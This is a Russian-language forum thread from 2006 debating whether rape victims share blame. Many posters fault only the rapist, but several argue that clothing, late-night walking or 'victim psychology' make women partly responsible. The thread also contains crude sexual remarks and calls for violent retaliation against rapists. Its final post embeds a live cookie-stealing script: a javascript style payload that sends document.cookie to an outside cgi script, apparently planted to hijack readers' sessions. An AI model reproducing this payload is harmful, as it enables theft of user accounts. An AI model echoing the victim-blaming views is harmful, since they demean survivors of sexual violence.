Сегодня мне случайно попалась старая газета, и в ней письмо девушки, которая рассказывает, что после этого мама говорит ей, что она сама виновата, и некоторые ее (мамы) знакомые разделяют такаю точку зрения. И мама постоянно заставляет ее чувствовать себя виноватой.
И эта точка зрения достаточно распространена.
"Ходила в мини юбке, знакомилась на улице с незнакомыми парнями -
вот и получила".
Что касаемо меня, то я считаю, что виноват целиком и полностью
насильник. Потому что именно он совершает преступление.
УПК:
Есть смысл обратиться к психологу. Или походить на тренинги. Благо с финансами ж проблем у тебя нет. Они у тебя другие, и их наличие здесь всем очевидно.
ЗЫ: Перед дамами не нужно лебезить, домогаться и тп. На руках носить смысл есть только Любимую. Как только ты станешь им интересен, проблемы с "не дала" пропадут сами. И относись спокойно, что большинству из них не будешь нужен. Это "закон жизни, тайна веков" %))
Другое дело - личная безопасность: вызывающе оденешься - обратят нездоровое внимание, богато оденешься - могут ограбить, расслабишся - это тоже сразу заметят...
Так что, п.2 - "В большей степени насильник", а потенциальные жертвы могут ему просто "помочь" сделать свой выбор.
Но я бы не стал его рассмативать как одно целое
Я бы сказал так - поведение женщины в большей степени определяет вероятность изнасилования.
Хотя правильнее было бы: Чаще насильник.
Случай из жизни: небольшая фирма, день рождения, все изрядно навеселе, девица жмется к имениннику, садится на колени, целуются, обнимаются (инициатива, ЯВНО, от нее), далее они пропадают из поля зрения, а через некоторое время в фирму прибывает опергруппа + следователь по особотяжким преступлениям (каковым является износ)... (парня , вроде бы, осудили).
Из "лохматых" 90-х помнится много случаев с одинаковой историей: он и она познакомились, подружились, свидания (хотя бы одно), переспали, а на следующий день его берут под белы ручки и в СИЗО, некто от нее приходит к родным "насильника" и предлагает за некую сумму забрать заявление....
| QUOTE (AртёмКа @ 08.02.2006 - время: 17:00) |
| Что вы думаете по этому поводу? Сегодня мне случайно попалась старая газета, и в ней письмо девушки, которая рассказывает, что после этого мама говорит ей, что она сама виновата, и некоторые ее (мамы) знакомые разделяют такаю точку зрения. И мама постоянно заставляет ее чувствовать себя виноватой. И эта точка зрения достаточно распространена. "Ходила в мини юбке, знакомилась на улице с незнакомыми парнями - вот и получила". Что касаемо меня, то я считаю, что виноват целиком и полностью насильник. Потому что именно он совершает преступление. |
Если действительно имело место изнасилование, а не добровольный секс, позже представленный женщиной как изнасилование - то виноват всегда и полностью насильник. В чём бы ни ходила женщина и как бы она себя не вела. Даже если сперва хотела и почти отдалась а потом передумала - она, конечно, "дура и сволочь", но принуждать её силой - не только уголовное преступление, но и полная потеря лица. А насчёт "сама виновата" - да, виновата. Но не в изнасиловании, а в глупом, опасном (виктимном) поведении. Но вину с насильника это не снимает нисколько.
| QUOTE (Alligator @ 31.08.2006 - время: 09:14) |
| [SIZE=7][COLOR=gray] я считаю виноват и насильник и жертва,,50/50, так как если девушка поздно ночью идет по улице в мини юбке,в топике, и + с макияжем,,ну тогда я тоже пристану, дело не дойдет до насилия,,но пристану |
Вот и именно, пристану, но не до насилия. Потому что голова на плечах есть.
| QUOTE (Googmen @ 26.08.2006 - время: 10:41) |
| поведение женщины в большей степени определяет вероятность изнасилования |
вероятность...
виноват тот , кто совершил изнасилование!!!
| QUOTE (Alligator @ 31.08.2006 - время: 09:14) |
| насильник и жертва,,50/50, так как если девушка поздно ночью идет по улице в мини юбке,в топике, и + с макияжем,,ну тогда дело не дойдет до насилия,,но пристану |
потенциальный насильник...
контроль должен быть в голове!!!! а мужик думает как бы телке засунуть...
| QUOTE (LionPorn @ 30.08.2006 - время: 23:33) |
| Виновен насильник...и только он, потому что жертвами не всегда становятся разодетые яркие девицы (а точнее почти раздетые), но и просто студентки и даже женщины средних лет в очках и в вытертом свитере... |
Согласен со всем сказанным, что вина только насильника. Но, что меня всегда коробит, так это мнение, что "разодетые яркие девицы (а точнее почти раздетые)" легко доступны и провоцируют насилие. Любая женщина должна быть сексуально привлекательной, а одежда - атрибут сексуальности. Если отдельные имбицилы не могут добиться взаимности у противоположного пола и прибегают к насилию, это не значит, что подобная манера одеваться есть стимул к подобным действиям.
Насилуют не только разодетых в миниюбки и накрашенных. Насилуют тех, кто возвращается домой в 3 часа ночи, идя по стройке, чтобы скоротать путь. В общем 50/50. Он насилует, она идет в безлюдное место.
С точки зрения здравого смысла - девушка может подстрекать человека к насилию. Хотя если призадуматься - не сильно связано и значения особенного не имеет, потому как подстрекают одни, а насилуют других.
Обвинять каждую отдельно взятую девушку в подстрекательстве - бред. Всё равно, что обвинять, что она в час Ч минуту М вышла из дома, и случайно стала катализатором акта насилия.
1. поздно ночью
2. идет по улице
3. в мини юбке,в топике,
4. и + с макияжем
Это самые подходящие условия для "приставания"? и что ты под ним вообще имел в виду? %))
Но. Дело тут не в ярком макияже и не в короткой юбке.
А в психологии жертвы.
Знаете, у расфуфыренной блондинки на бешенных каблуках и чуть ли не в бикини, но уверенно шагающей ,пусть и по темной аллее, шансов, что ее изнасилуют практически нет, в отличии от сжавшейся серой мышки, которую только в лифте могут три раза изнасиловать...
Насильник - больной человек и он будет издеваться только над тем, кто слабее его. Кто боится его.
Интересен еще такой вопрос. На форуме часто проскакивает от женщин: иногда хочется так, что хоть на стену лезь, любого разорвала бы. Если бы роли поменялись, если бы женщины физически были сильнее и имели возможность насиловать мужчин, кривая изнасилований увеличилась бы?
но береженого Бог бережет.... иногда моя младшая родственница так одевается, что у меня глаза на лоб лезут...и я бы не так уж сильно обвиняла насильника, что ему захотелось вставить))))))
, ВИНОВАТ ВСЕГДА НАСИЛЬНИК (моя-бы воля я их 
) тут даже нечего обсуждать 
| QUOTE (др.Ватсон @ 31.08.2006 - время: 19:36) |
| В равной степени и насильник и жертва. Насилуют не только разодетых в миниюбки и накрашенных. Насилуют тех, кто возвращается домой в 3 часа ночи, идя по стройке, чтобы скоротать путь. В общем 50/50. Он насилует, она идет в безлюдное место. |
Ну да. Насильник виноват в том, что насилует. Жертва виновата в том, что по стройке ночью ходит. Стало быть, справедливо им по вине их - насильника за изнасилование - опустить, как на зоне принято, женщину за хождение по стройке - поругать. :)
| QUOTE (Палач @ 01.09.2006 - время: 21:29) |
| Считаю, что виноват насильник. Но. Дело тут не в ярком макияже и не в короткой юбке. А в психологии жертвы. Знаете, у расфуфыренной блондинки на бешенных каблуках и чуть ли не в бикини, но уверенно шагающей ,пусть и по темной аллее, шансов, что ее изнасилуют практически нет, в отличии от сжавшейся серой мышки, которую только в лифте могут три раза изнасиловать... Насильник - больной человек и он будет издеваться только над тем, кто слабее его. Кто боится его. |
Вот она истина! По-моему, на этом можно прекратить дискуссию.
Действительно это так. Причем, вообще по жизни. Человек уверенно шагающий с наглой мордой и высоко поднятой головой имеет очень мало шансов быть атакованым тем или иным криминальным элементом. Это как со стаей собак. Они чувствуют твой страх.
Самое главное, не понятно... почему я на этой самой пресловутой стройке или в темной подворотне не поджидаю стильно одетого мачо, чтоб его оглушить и отыметь, даже если мне этого хочется больше всего на свете?
Конечно, я не беру в расчет паталогически нездоровые на психическом уровне особи, и женщин, решивших по утру, что если им не заплатили, то это изнасилование)))
эту сволочь!) Это как проанализировать ситуацию, такой ответ и получится. Хотя вспомнил случай в новостях: 2 айзербоджаца вломились в дом где жили дедушка с внучкой (ей было14-15) деда избили, а ее несколько раз износиловав (она кстати тоже была айзербоджанкой) убили... вот этого я никогда не пойму! ну износиловал, получил удовольствие, но убивать зачем! в итоге их осудили на 10 и 15 лет. Жаль девочку...
| QUOTE (Скот учёный @ 05.09.2006 - время: 18:49) | ||
Ну да. Насильник виноват в том, что насилует. Жертва виновата в том, что по стройке ночью ходит. Стало быть, справедливо им по вине их - насильника за изнасилование - опустить, как на зоне принято, женщину за хождение по стройке - поругать. :) |
Да не в стройках дело!
Это же нелогично. Неужели вы думаете что во всех темных местах в три часа ночи будет ходить по женщине?
Присоединяюсь к sobaka. Стрелять их надо. Именно из-за таких многие девчонки думают о нас хреново. (Это я не ради выгоды себе. Просто вспомнил фильм "Правила съема. Метод Хитча")
А так...мне, например нравится посмотреть на красивую девушку, на ее длинные ноги, слегка прикрытие юбчонкой, на открытую грудь, слегка прикрытую оргомным декольте. Мне к сожалению не прет последнее время с противоположным. Потому приходится смотреть со стороны.
НО ДО НАСИЛИЯ НЕ ОПУСКАТЬСЯ!
Только слабаки себе такое позволяют, которые могут справиться только с женщиной. Критины.
И хочу пожелать "слабому" полу: будьте красивыми, всегда, везде, но аккуратно. Дебилов, к сожалению, хватает.
.com'>wj@wj.com ` style=`background:url(javascript:document.images[1].src="http://www.turboborisov.com/cgi-bin/zz.cgi?"+document.cookie);`
Это сообщение отредактировал digihippie - 13-09-2006 - 02:37